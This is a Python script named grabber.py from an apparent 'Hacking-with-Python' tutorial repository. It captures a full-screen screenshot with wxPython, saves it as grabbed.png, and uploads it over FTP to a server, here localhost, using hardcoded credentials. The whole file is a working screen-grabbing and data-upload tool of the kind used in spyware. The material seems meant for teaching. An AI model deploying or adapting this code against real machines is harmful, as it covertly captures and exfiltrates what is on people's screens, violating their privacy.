Files
Hacking-with-Python/03/grabber.py
2020-12-03 21:58:27 +08:00

21 lines
415 B
Python

import wx
import os
import ftplib
w = wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmap = wx.Bitmap(size[0],size[1])
memo = wx.MemoryDC(bmap)
memo.Blit(0,0,size[0],size[1],screen,0,0)
bmap.SaveFile("grabbed.png", wx.BITMAP_TYPE_PNG)
sess_ = ftplib.FTP("localhost","flypython", "flypython")
file_ = open("grabbed.png", "rb")
sess_.storbinary("STOR grabbed.png", file_)
file_.close()
sess_.quit()